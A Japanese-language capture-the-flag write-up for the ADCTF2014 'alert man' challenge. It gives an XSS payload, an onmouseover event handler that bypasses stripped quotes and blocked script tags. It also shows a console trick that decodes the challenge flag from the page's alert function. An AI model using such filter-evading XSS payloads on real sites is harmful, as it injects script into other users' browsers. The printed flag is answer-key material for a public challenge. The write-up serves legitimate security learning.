= alert man =
== 問題 ==
Can you alert('XSS')?

[[http://adctf2014.katsudon.org/dat/AlSDUDdTMssNKajr/alert_man.html|alert man]]

== メモ ==
 * '"が削除される。
 * scriptタグを挿入しても動作しない。

== 解法1 ==
{{{
<p id=1 onmouseover=alert(document.getElementById(1).innerHTML)>XSS</p>
}}}
を二回ツイートして一個目にマウスオーバー

== 解法2 ==
FirefoxのWebコンソールで `alert.toSource()` を実行するとalertのソースが得られる。
{{{
"(function (text){if(!f)a(text);if(text==='XSS'){if(!f){f=1;window.setTimeout(function(){f=0},100);if(li)li.innerHTML=t}else{f=0;cs=[5010175210,5010175222,5010175227,5010175166,5010175224,5010175218,5010175231,5010175225,5010175166,5010175223,5010175213,5010175140,5010175166,5010175199,5010175194,5010175197,5010175178,5010175192,5010175169,5010175191,5010175169,5010175146,5010175187,5010175169,5010175146,5010175218,5010175149,5010175180,5010175210,5010175169,5010175187,5010175146,5010175216];t='';for(i=0;i<cs.length;i++){t+=String.fromCharCode(cs[i]^0x123456789+123456789)}appendTweet('<b>'+t+'</b>')}}else{f=0}})"
}}}
フラグっぽい部分を実行する。
{{{
cs=[5010175210,5010175222,5010175227,5010175166,5010175224,5010175218,5010175231,5010175225,5010175166,5010175223,5010175213,5010175140,5010175166,5010175199,5010175194,5010175197,5010175178,5010175192,5010175169,5010175191,5010175169,5010175146,5010175187,5010175169,5010175146,5010175218,5010175149,5010175180,5010175210,5010175169,5010175187,5010175146,5010175216];t='';for(i=0;i<cs.length;i++){t+=String.fromCharCode(cs[i]^0x123456789+123456789)}
=> "the flag is: ADCTF_I_4M_4l3Rt_M4n"
}}}